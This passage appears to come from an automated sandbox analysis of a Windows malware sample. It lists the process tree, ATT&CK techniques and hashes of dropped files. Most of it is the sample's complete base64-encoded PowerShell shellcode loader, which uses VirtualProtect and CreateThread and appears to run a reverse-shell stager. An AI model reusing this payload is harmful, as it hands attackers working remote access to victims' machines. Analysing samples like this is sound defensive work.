JABRAGcAPQAnACQAQwBRAD0AJwAnAFsARABsAGwASQBtAHAAbwByAHQAKAAoACIAbQBzAHYAYwByACIAKwAiAHQAIgArACIALgBkAGwAbAAiACkAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAYwBhAGwAbABvAGMAKAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABhAG0AbwB1AG4AdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawAiACsAIgBlACIAKwAiAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAIgArACIAZQAiACsAIgByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABOAGUAdwBQAHIAbwB0AGUAYwB0ACwAIABvAHUAdAAgAHUAaQBuAHQAIABGAEwARAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByACIAKwAiAHQAIgArACIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAUwByAD0AIgB9AGUAOAAsAH0AOABmACwAfQAwADAALAB9ADAAMAAsAH0AMAAwACwAfQA2ADAALAB9ADgAOQAsAH0AZQA1ACwAfQAzADEALAB9AGQAMgAsAH0ANgA0ACwAfQA4AGIALAB9ADUAMgAsAH0AMwAwACwAfQA4AGIALAB9ADUAMgAsAH0AMABjACwAfQA4AGIALAB9ADUAMgAsAH0AMQA0ACwAfQAzADEALAB9AGYAZgAsAH0AOABiACwAfQA3ADIALAB9ADIAOAAsAH0AMABmACwAfQBiADcALAB9ADQAYQAsAH0AMgA2ACwAfQAzADEALAB9AGMAMAAsAH0AYQBjACwAfQAzAGMALAB9ADYAMQAsAH0ANwBjACwAfQAwADIALAB9ADIAYwAsAH0AMgAwACwAfQBjADEALAB9AGMAZgAsAH0AMABkACwAfQAwADEALAB9AGMANwAsAH0ANAA5ACwAfQA3ADUALAB9AGUAZgAsAH0ANQAyACwAfQA1ADcALAB9ADgAYgAsAH0ANQAyACwAfQAxADAALAB9ADgAYgAsAH0ANAAyACwAfQAzAGMALAB9ADAAMQAsAH0AZAAwACwAfQA4AGIALAB9ADQAMAAsAH0ANwA4ACwAfQA4ADUALAB9AGMAMAAsAH0ANwA0ACwAfQA0AGMALAB9ADAAMQAsAH0AZAAwACwAfQA1ADAALAB9ADgAYgAsAH0ANAA4ACwAfQAxADgALAB9ADgAYgAsAH0ANQA4ACwAfQAyADAALAB9ADAAMQAsAH0AZAAzACwAfQA4ADUALAB9AGMAOQAsAH0ANwA0ACwAfQAzAGMALAB9ADQAOQAsAH0AMwAxACwAfQBmAGYALAB9ADgAYgAsAH0AMwA0ACwAfQA4AGIALAB9ADAAMQAsAH0AZAA2ACwAfQAzADEALAB9AGMAMAAsAH0AYwAxACwAfQBjAGYALAB9ADAAZAAsAH0AYQBjACwAfQAwADEALAB9AGMANwAsAH0AMwA4ACwAfQBlADAALAB9ADcANQAsAH0AZgA0ACwAfQAwADMALAB9ADcAZAAsAH0AZgA4ACwAfQAzAGIALAB9ADcAZAAsAH0AMgA0ACwAfQA3ADUALAB9AGUAMAAsAH0ANQA4ACwAfQA4AGIALAB9ADUAOAAsAH0AMgA0ACwAfQAwADEALAB9AGQAMwAsAH0ANgA2ACwAfQA4AGIALAB9ADAAYwAsAH0ANABiACwAfQA4AGIALAB9ADUAOAAsAH0AMQBjACwAfQAwADEALAB9AGQAMwAsAH0AOABiACwAfQAwADQALAB9ADgAYgAsAH0AMAAxACwAfQBkADAALAB9ADgAOQAsAH0ANAA0ACwAfQAyADQALAB9ADIANAAsAH0ANQBiACwAfQA1AGIALAB9ADYAMQAsAH0ANQA5ACwAfQA1AGEALAB9ADUAMQAsAH0AZgBmACwAfQBlADAALAB9ADUAOAAsAH0ANQBmACwAfQA1AGEALAB9ADgAYgAsAH0AMQAyACwAfQBlADkALAB9ADgAMAAsAH0AZgBmACwAfQBmAGYALAB9AGYAZgAsAH0ANQBkACwAfQA2ADgALAB9ADMAMwAsAH0AMwAyACwAfQAwADAALAB9ADAAMAAsAH0ANgA4ACwAfQA3ADcALAB9ADcAMwAsAH0AMwAyACwAfQA1AGYALAB9ADUANAAsAH0ANgA4ACwAfQA0AGMALAB9ADcANwAsAH0AMgA2ACwAfQAwADcALAB9ADgAOQAsAH0AZQA4ACwAfQBmAGYALAB9AGQAMAAsAH0AYgA4ACwAfQA5ADAALAB9ADAAMQAsAH0AMAAwACwAfQAwADAALAB9ADIAOQAsAH0AYwA0ACwAfQA1ADQALAB9ADUAMAAsAH0ANgA4ACwAfQAyADkALAB9ADgAMAAsAH0ANgBiACwAfQAwADAALAB9AGYAZgAsAH0AZAA1ACwAfQA2AGEALAB9ADAAYQAsAH0ANgA4ACwAfQBjADAALAB9AGEAOAAsAH0AMAAxACwAfQA2ADgALAB9ADYAOAAsAH0AMAAyACwAfQAwADAALAB9ADEAMQAsAH0ANQBiACwAfQA4ADkALAB9AGUANgAsAH0ANQAwACwAfQA1ADAALAB9ADUAMAAsAH0ANQAwACwAfQA0ADAALAB9ADUAMAAsAH0ANAAwACwAfQA1ADAALAB9ADYAOAAsAH0AZQBhACwAfQAwAGYALAB9AGQAZgAsAH0AZQAwACwAfQBmAGYALAB9AGQANQAsAH0AOQA3ACwAfQA2AGEALAB9ADEAMAAsAH0ANQA2ACwAfQA1ADcALAB9ADYAOAAsAH0AOQA5ACwAfQBhADUALAB9ADcANAAsAH0ANgAxACwAfQBmAGYALAB9AGQANQAsAH0AOAA1ACwAfQBjADAALAB9ADcANAAsAH0AMABhACwAfQBmAGYALAB9ADQAZQAsAH0AMAA4ACwAfQA3ADUALAB9AGUAYwAsAH0AZQA4ACwAfQA2ADcALAB9ADAAMAAsAH0AMAAwACwAfQAwADAALAB9ADYAYQAsAH0AMAAwACwAfQA2AGEALAB9ADAANAAsAH0ANQA2ACwAfQA1ADcALAB9ADYAOAAsAH0AMAAyACwAfQBkADkALAB9AGMAOAAsAH0ANQBmACwAfQBmAGYALAB9AGQANQAsAH0AOAAzACwAfQBmADgALAB9ADAAMAAsAH0ANwBlACwAfQAzADYALAB9ADgAYgAsAH0AMwA2ACwAfQA2AGEALAB9ADQAMAAsAH0ANgA4ACwAfQAwADAALAB9ADEAMAAsAH0AMAAwACwAfQAwADAALAB9ADUANgAsAH0ANgBhACwAfQAwADAALAB9ADYAOAAsAH0ANQA4ACwAfQBhADQALAB9ADUAMwAsAH0AZQA1ACwAfQBmAGYALAB9AGQANQAsAH0AOQAzACwAfQA1ADMALAB9ADYAYQAsAH0AMAAwACwAfQA1ADYALAB9ADUAMwAsAH0ANQA3ACwAfQA2ADgALAB9ADAAMgAsAH0AZAA5ACwAfQBjADgALAB9ADUAZgAsAH0AZgBmACwAfQBkADUALAB9ADgAMwAsAH0AZgA4ACwAfQAwADAALAB9ADcAZAAsAH0AMgA4ACwAfQA1ADgALAB9ADYAOAAsAH0AMAAwACwAfQA0ADAALAB9ADAAMAAsAH0AMAAwACwAfQA2AGEALAB9ADAAMAAsAH0ANQAwACwAfQA2ADgALAB9ADAAYgAsAH0AMgBmACwAfQAwAGYALAB9ADMAMAAsAH0AZgBmACwAfQBkADUALAB9ADUANwAsAH0ANgA4ACwAfQA3ADUALAB9ADYAZQAsAH0ANABkACwAfQA2ADEALAB9AGYAZgAsAH0AZAA1ACwAfQA1AGUALAB9ADUAZQAsAH0AZgBmACwAfQAwAGMALAB9ADIANAAsAH0AMABmACwAfQA4ADUALAB9ADcAMAAsAH0AZgBmACwAfQBmAGYALAB9AGYAZgAsAH0AZQA5ACwAfQA5AGIALAB9AGYAZgAsAH0AZgBmACwAfQBmAGYALAB9ADAAMQAsAH0AYwAzACwAfQAyADkALAB9AGMANgAsAH0ANwA1ACwAfQBjADEALAB9AGMAMwAsAH0AYgBiACwAfQBmADAALAB9AGIANQAsAH0AYQAyACwAfQA1ADYALAB9ADYAYQAsAH0AMAAwACwAfQA1ADMALAB9AGYAZgAsAH0AZAA1ACIAOwAkAEoAaAA9AEEAZABkAC0AVAB5AHAAZQAgAC0AcABhAHMAcwAgAC0AbQAgACQAQwBRACAALQBOAGEAbQBlACAAIgBPAEMAIgAgAC0AbgBhAG0AZQBzACAAdABKAFEAOwAkAEoAaAA9ACQASgBoAC4AcgBlAHAAbABhAGMAZQAoACIAdABKAFEAIgAsACAAIgBXAGkAbgAzADIARgB1AG4AYwB0AGkAbwAiACsAIgBuACIAKwAiAHMAIgApADsAWwBiAHkAdABlAFsAXQBdACQAUwByACAAPQAgACQAUwByAC4AcgBlAHAAbABhAGMAZQAoACIAfQAiACwAIgBjAHMAWQBkAHgAIgApAC4AcgBlAHAAbABhAGMAZQAoACIAYwBzAFkAZAAiACwAIAAiADAAIgApAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7ACQAZQBuAD0AMAB4ADEAMAAwADIAOwBpAGYAIAAoACQAUwByAC4ATAAgAC0AZwB0ACAAMAB4ADEAMAAwADIAKQB7ACQAZQBuAD0AJABTAHIALgBMAH0AOwAkAEIAdQA9ACQASgBoADoAOgBjAGEAbABsAG8AYwAoADAAeAAxADAAMAAyACwAIAAxACkAOwBbAFUASQBuAHQANgA0AF0AJABGAEwARAAgAD0AIAAwADsAZgBvAHIAKAAkAEIAcAA9ADAAOwAkAEIAcAAgAC0AbABlACgAJABTAHIALgBMAGUAbgBnAHQAaAAtADEAKQA7ACQAQgBwACsAKwApAHsAJABKAGgAOgA6AG0AZQBtAHMAZQB0ACgAWwBJAG4AdABQAHQAcgBdACgAJABCAHUALgBUAG8ASQBuAHQAMwAyACgAKQArACQAQgBwACkALAAgACQAUwByAFsAJABCAHAAXQAsACAAMQApAH0AOwAkAEoAaAA6ADoAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgAJABCAHUALAAgADAAeAAxADAAMAAyACwAIAAwAHgANAAwACwAIABbAFIAZQBmAF0AJABGAEwARAApADsAJABsAGUAVwA9AFsAaQBuAHQAXQAwAHgAMAAwADsAJABKAGgAOgA6AEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgAWwB1AGkAbgB0ADMAMgBdAFsAaQBuAHQAXQAwACwAJABsAGUAVwAsACQAQgB1ACwAMAAsADAALAAwACkAOwAnADsAJABHAGgAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAbgBpAGMAbwBkAGUALgBHAGUAdABCAHkAdABlAHMAKAAkAFEAZwApACkAOwAkAGEAYgA9ACIAcABvAHcAZQByAHMAaABlAGwAbAAiADsAJABTAEYAPQAiAFcAaQBuAGQAbwB3AHMAIgA7ACQAZAB1AE0AIAA9ACAAIgBDADoAXAAkAFMARgBcAHQAdAB3AFgARgBSAE4ASABcACQAUwBGACQAYQBiAFwAdgAxAC4AMABcACQAYQBiACIAOwAkAGQAdQBNACAAPQAgACQAZAB1AE0ALgByAGUAcABsAGEAYwBlACgAIgB0AHQAdwBYACIALAAgACIAcwB5AHMAIgApADsAJABkAHUATQAgAD0AIAAkAGQAdQBNAC4AcgBlAHAAbABhAGMAZQAoACIARgBSAE4ASAAiACwAIAAiAHcAbwB3ADYANAAiACkAOwAkAEwAVgB2ACAAPQAgACcAVAByAHUAIgArACIAZQAiACsAIgAnADsAaQBmACgAWwBlAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoASQBzADYANABCAGkAdABPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQAgAC0AZQBxACAAJwAkAEwAVgB2ACcAKQB7ACQAYQBiAD0AIAAkAGQAdQBNAH0AOwAkAHcAWgA9ACIAIAAkAGEAYgAgAHUAaABFACAAJABHAGgAIgA7ACQAdwBaAD0AJAB3AFoALgByAGUAcABsAGEAYwBlACgAIgB1AGgARQAiACwAIAAiAC0AbgBvAGUAeABpAHQAIAAtAGUAIgApADsAaQBlAHgAIAAkAHcAWgA=
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4444

C:\Windows\syswow64\Windowspowershell\v1.0\powershell.exe
"C:\Windows\syswow64\Windowspowershell\v1.0\powershell.exe" -noexit -e JABDAFEAPQAnAFsARABsAGwASQBtAHAAbwByAHQAKAAoACIAbQBzAHYAYwByACIAKwAiAHQAIgArACIALgBkAGwAbAAiACkAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAYwBhAGwAbABvAGMAKAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABhAG0AbwB1AG4AdAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawAiACsAIgBlACIAKwAiAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEEAdAB0AHIAaQBiAHUAdABlAHMALAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAAgAEkAbgB0AFAAdAByACAAbABwAFMAdABhAHIAdABBAGQAZAByAGUAcwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABQAGEAcgBhAG0AZQB0AGUAcgAsACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwAIABJAG4AdABQAHQAcgAgAGwAcABUAGgAcgBlAGEAZABJAGQAKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAIgArACIAZQAiACsAIgByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAHIAdAB1AGEAbABQAHIAbwB0AGUAYwB0ACgASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAHUAaQBuAHQAIABkAHcAUwBpAHoAZQAsACAAdQBpAG4AdAAgAGYAbABOAGUAdwBQAHIAbwB0AGUAYwB0ACwAIABvAHUAdAAgAHUAaQBuAHQAIABGAEwARAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByACIAKwAiAHQAIgArACIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAOwAkAFMAcgA9ACIAfQBlADgALAB9ADgAZgAsAH0AMAAwACwAfQAwADAALAB9ADAAMAAsAH0ANgAwACwAfQA4ADkALAB9AGUANQAsAH0AMwAxACwAfQBkADIALAB9ADYANAAsAH0AOABiACwAfQA1ADIALAB9ADMAMAAsAH0AOABiACwAfQA1ADIALAB9ADAAYwAsAH0AOABiACwAfQA1ADIALAB9ADEANAAsAH0AMwAxACwAfQBmAGYALAB9ADgAYgAsAH0ANwAyACwAfQAyADgALAB9ADAAZgAsAH0AYgA3ACwAfQA0AGEALAB9ADIANgAsAH0AMwAxACwAfQBjADAALAB9AGEAYwAsAH0AMwBjACwAfQA2ADEALAB9ADcAYwAsAH0AMAAyACwAfQAyAGMALAB9ADIAMAAsAH0AYwAxACwAfQBjAGYALAB9ADAAZAAsAH0AMAAxACwAfQBjADcALAB9ADQAOQAsAH0ANwA1ACwAfQBlAGYALAB9ADUAMgAsAH0ANQA3ACwAfQA4AGIALAB9ADUAMgAsAH0AMQAwACwAfQA4AGIALAB9ADQAMgAsAH0AMwBjACwAfQAwADEALAB9AGQAMAAsAH0AOABiACwAfQA0ADAALAB9ADcAOAAsAH0AOAA1ACwAfQBjADAALAB9ADcANAAsAH0ANABjACwAfQAwADEALAB9AGQAMAAsAH0ANQAwACwAfQA4AGIALAB9ADQAOAAsAH0AMQA4ACwAfQA4AGIALAB9ADUAOAAsAH0AMgAwACwAfQAwADEALAB9AGQAMwAsAH0AOAA1ACwAfQBjADkALAB9ADcANAAsAH0AMwBjACwAfQA0ADkALAB9ADMAMQAsAH0AZgBmACwAfQA4AGIALAB9ADMANAAsAH0AOABiACwAfQAwADEALAB9AGQANgAsAH0AMwAxACwAfQBjADAALAB9AGMAMQAsAH0AYwBmACwAfQAwAGQALAB9AGEAYwAsAH0AMAAxACwAfQBjADcALAB9ADMAOAAsAH0AZQAwACwAfQA3ADUALAB9AGYANAAsAH0AMAAzACwAfQA3AGQALAB9AGYAOAAsAH0AMwBiACwAfQA3AGQALAB9ADIANAAsAH0ANwA1ACwAfQBlADAALAB9ADUAOAAsAH0AOABiACwAfQA1ADgALAB9ADIANAAsAH0AMAAxACwAfQBkADMALAB9ADYANgAsAH0AOABiACwAfQAwAGMALAB9ADQAYgAsAH0AOABiACwAfQA1ADgALAB9ADEAYwAsAH0AMAAxACwAfQBkADMALAB9ADgAYgAsAH0AMAA0ACwAfQA4AGIALAB9ADAAMQAsAH0AZAAwACwAfQA4ADkALAB9ADQANAAsAH0AMgA0ACwAfQAyADQALAB9ADUAYgAsAH0ANQBiACwAfQA2ADEALAB9ADUAOQAsAH0ANQBhACwAfQA1ADEALAB9AGYAZgAsAH0AZQAwACwAfQA1ADgALAB9ADUAZgAsAH0ANQBhACwAfQA4AGIALAB9ADEAMgAsAH0AZQA5ACwAfQA4ADAALAB9AGYAZgAsAH0AZgBmACwAfQBmAGYALAB9ADUAZAAsAH0ANgA4ACwAfQAzADMALAB9ADMAMgAsAH0AMAAwACwAfQAwADAALAB9ADYAOAAsAH0ANwA3ACwAfQA3ADMALAB9ADMAMgAsAH0ANQBmACwAfQA1ADQALAB9ADYAOAAsAH0ANABjACwAfQA3ADcALAB9ADIANgAsAH0AMAA3ACwAfQA4ADkALAB9AGUAOAAsAH0AZgBmACwAfQBkADAALAB9AGIAOAAsAH0AOQAwACwAfQAwADEALAB9ADAAMAAsAH0AMAAwACwAfQAyADkALAB9AGMANAAsAH0ANQA0ACwAfQA1ADAALAB9ADYAOAAsAH0AMgA5ACwAfQA4ADAALAB9ADYAYgAsAH0AMAAwACwAfQBmAGYALAB9AGQANQAsAH0ANgBhACwAfQAwAGEALAB9ADYAOAAsAH0AYwAwACwAfQBhADgALAB9ADAAMQAsAH0ANgA4ACwAfQA2ADgALAB9ADAAMgAsAH0AMAAwACwAfQAxADEALAB9ADUAYgAsAH0AOAA5ACwAfQBlADYALAB9ADUAMAAsAH0ANQAwACwAfQA1ADAALAB9ADUAMAAsAH0ANAAwACwAfQA1ADAALAB9ADQAMAAsAH0ANQAwACwAfQA2ADgALAB9AGUAYQAsAH0AMABmACwAfQBkAGYALAB9AGUAMAAsAH0AZgBmACwAfQBkADUALAB9ADkANwAsAH0ANgBhACwAfQAxADAALAB9ADUANgAsAH0ANQA3ACwAfQA2ADgALAB9ADkAOQAsAH0AYQA1ACwAfQA3ADQALAB9ADYAMQAsAH0AZgBmACwAfQBkADUALAB9ADgANQAsAH0AYwAwACwAfQA3ADQALAB9ADAAYQAsAH0AZgBmACwAfQA0AGUALAB9ADAAOAAsAH0ANwA1ACwAfQBlAGMALAB9AGUAOAAsAH0ANgA3ACwAfQAwADAALAB9ADAAMAAsAH0AMAAwACwAfQA2AGEALAB9ADAAMAAsAH0ANgBhACwAfQAwADQALAB9ADUANgAsAH0ANQA3ACwAfQA2ADgALAB9ADAAMgAsAH0AZAA5ACwAfQBjADgALAB9ADUAZgAsAH0AZgBmACwAfQBkADUALAB9ADgAMwAsAH0AZgA4ACwAfQAwADAALAB9ADcAZQAsAH0AMwA2ACwAfQA4AGIALAB9ADMANgAsAH0ANgBhACwAfQA0ADAALAB9ADYAOAAsAH0AMAAwACwAfQAxADAALAB9ADAAMAAsAH0AMAAwACwAfQA1ADYALAB9ADYAYQAsAH0AMAAwACwAfQA2ADgALAB9ADUAOAAsAH0AYQA0ACwAfQA1ADMALAB9AGUANQAsAH0AZgBmACwAfQBkADUALAB9ADkAMwAsAH0ANQAzACwAfQA2AGEALAB9ADAAMAAsAH0ANQA2ACwAfQA1ADMALAB9ADUANwAsAH0ANgA4ACwAfQAwADIALAB9AGQAOQAsAH0AYwA4ACwAfQA1AGYALAB9AGYAZgAsAH0AZAA1ACwAfQA4ADMALAB9AGYAOAAsAH0AMAAwACwAfQA3AGQALAB9ADIAOAAsAH0ANQA4ACwAfQA2ADgALAB9ADAAMAAsAH0ANAAwACwAfQAwADAALAB9ADAAMAAsAH0ANgBhACwAfQAwADAALAB9ADUAMAAsAH0ANgA4ACwAfQAwAGIALAB9ADIAZgAsAH0AMABmACwAfQAzADAALAB9AGYAZgAsAH0AZAA1ACwAfQA1ADcALAB9ADYAOAAsAH0ANwA1ACwAfQA2AGUALAB9ADQAZAAsAH0ANgAxACwAfQBmAGYALAB9AGQANQAsAH0ANQBlACwAfQA1AGUALAB9AGYAZgAsAH0AMABjACwAfQAyADQALAB9ADAAZgAsAH0AOAA1ACwAfQA3ADAALAB9AGYAZgAsAH0AZgBmACwAfQBmAGYALAB9AGUAOQAsAH0AOQBiACwAfQBmAGYALAB9AGYAZgAsAH0AZgBmACwAfQAwADEALAB9AGMAMwAsAH0AMgA5ACwAfQBjADYALAB9ADcANQAsAH0AYwAxACwAfQBjADMALAB9AGIAYgAsAH0AZgAwACwAfQBiADUALAB9AGEAMgAsAH0ANQA2ACwAfQA2AGEALAB9ADAAMAAsAH0ANQAzACwAfQBmAGYALAB9AGQANQAiADsAJABKAGgAPQBBAGQAZAAtAFQAeQBwAGUAIAAtAHAAYQBzAHMAIAAtAG0AIAAkAEMAUQAgAC0ATgBhAG0AZQAgACIATwBDACIAIAAtAG4AYQBtAGUAcwAgAHQASgBRADsAJABKAGgAPQAkAEoAaAAuAHIAZQBwAGwAYQBjAGUAKAAiAHQASgBRACIALAAgACIAVwBpAG4AMwAyAEYAdQBuAGMAdABpAG8AIgArACIAbgAiACsAIgBzACIAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAFMAcgAgAD0AIAAkAFMAcgAuAHIAZQBwAGwAYQBjAGUAKAAiAH0AIgAsACIAYwBzAFkAZAB4ACIAKQAuAHIAZQBwAGwAYQBjAGUAKAAiAGMAcwBZAGQAIgAsACAAIgAwACIAKQAuAFMAcABsAGkAdAAoACIALAAiACkAOwAkAGUAbgA9ADAAeAAxADAAMAAyADsAaQBmACAAKAAkAFMAcgAuAEwAIAAtAGcAdAAgADAAeAAxADAAMAAyACkAewAkAGUAbgA9ACQAUwByAC4ATAB9ADsAJABCAHUAPQAkAEoAaAA6ADoAYwBhAGwAbABvAGMAKAAwAHgAMQAwADAAMgAsACAAMQApADsAWwBVAEkAbgB0ADYANABdACQARgBMAEQAIAA9ACAAMAA7AGYAbwByACgAJABCAHAAPQAwADsAJABCAHAAIAAtAGwAZQAoACQAUwByAC4ATABlAG4AZwB0AGgALQAxACkAOwAkAEIAcAArACsAKQB7ACQASgBoADoAOgBtAGUAbQBzAGUAdAAoAFsASQBuAHQAUAB0AHIAXQAoACQAQgB1AC4AVABvAEkAbgB0ADMAMgAoACkAKwAkAEIAcAApACwAIAAkAFMAcgBbACQAQgBwAF0ALAAgADEAKQB9ADsAJABKAGgAOgA6AFYAaQByAHQAdQBhAGwAUAByAG8AdABlAGMAdAAoACQAQgB1ACwAIAAwAHgAMQAwADAAMgAsACAAMAB4ADQAMAAsACAAWwBSAGUAZgBdACQARgBMAEQAKQA7ACQAbABlAFcAPQBbAGkAbgB0AF0AMAB4ADAAMAA7ACQASgBoADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoAFsAdQBpAG4AdAAzADIAXQBbAGkAbgB0AF0AMAAsACQAbABlAFcALAAkAEIAdQAsADAALAAwACwAMAApADsA
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4644

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2upsduwn\2upsduwn.cmdline"
6⤵
- Suspicious use of WriteProcessMemory
PID:2220

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEA6.tmp" "c:\Users\Admin\AppData\Local\Temp\2upsduwn\CSCE5B48C55D152438BAF1A463D57D0DA83.TMP"
7⤵
PID:3772

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
6c4805e00673bef922d51b1a7137028f

SHA1
0eabb38482d1733dd85a2af9c5342c2cafcd41eb

SHA256
7af7d25fe7e3bb8b75bcffaa8573e2e9af7e7f70a840fa8bc0196d0ab396ecdd

SHA512
eb6dacb4e0da6f45028ebf65ebffdc6aecdb6a34a582bb69aa5836ef02a7115f6b500ef2dd6a2c2be994ec9d0cbbff564368724593666105d3d4475441830cc1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
6c4805e00673bef922d51b1a7137028f

SHA1
0eabb38482d1733dd85a2af9c5342c2cafcd41eb

SHA256
7af7d25fe7e3bb8b75bcffaa8573e2e9af7e7f70a840fa8bc0196d0ab396ecdd

SHA512
eb6dacb4e0da6f45028ebf65ebffdc6aecdb6a34a582bb69aa5836ef02a7115f6b500ef2dd6a2c2be994ec9d0cbbff564368724593666105d3d4475441830cc1

Download Submit
C:\Users\Admin\AppData\Local\Temp\2upsduwn\2upsduwn.dll
Filesize
3KB

MD5
9729e8972803bb93c88e813e3f215051

SHA1
4921fe50fe061ec7f4adf211ae0c342d84685a81

SHA256
077f8e5be558109aac8566d332521774ee4fdf02b9012e037695c73d53f01f2b

SHA512
7701c8df5867129de0bbc56cac67b0711222288c810c39ade50a9de3e65b24fb5e0620b5e2699c96116f4de5e643a9a02e0ab69405509745dd6b220d19339858

Download Submit
C:\Users\Admin\AppData\Local\Temp\699C.tmp\699D.tmp\699E.bat
Filesize
9KB

MD5
19e21134e783616aad59551c22579f66

SHA1
3ffc5fd05f63f5324dce7a39c6f13020115bbeff

SHA256
f8108650b352204f19ce39887be2717a0fb3017f34f8950c86f7bdd6a28d7eb8

SHA512
84adcd0cd462473f65155bb16e4144ad462f13c71f944afa0ea8c8dc1b5a4f66d5634af155cd865770bcf498d67046f80945a82aa63e08a9624a38534787fb47

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES796B.tmp
Filesize
1KB

MD5
91655df9e6f7103362423b2708feddb0

SHA1
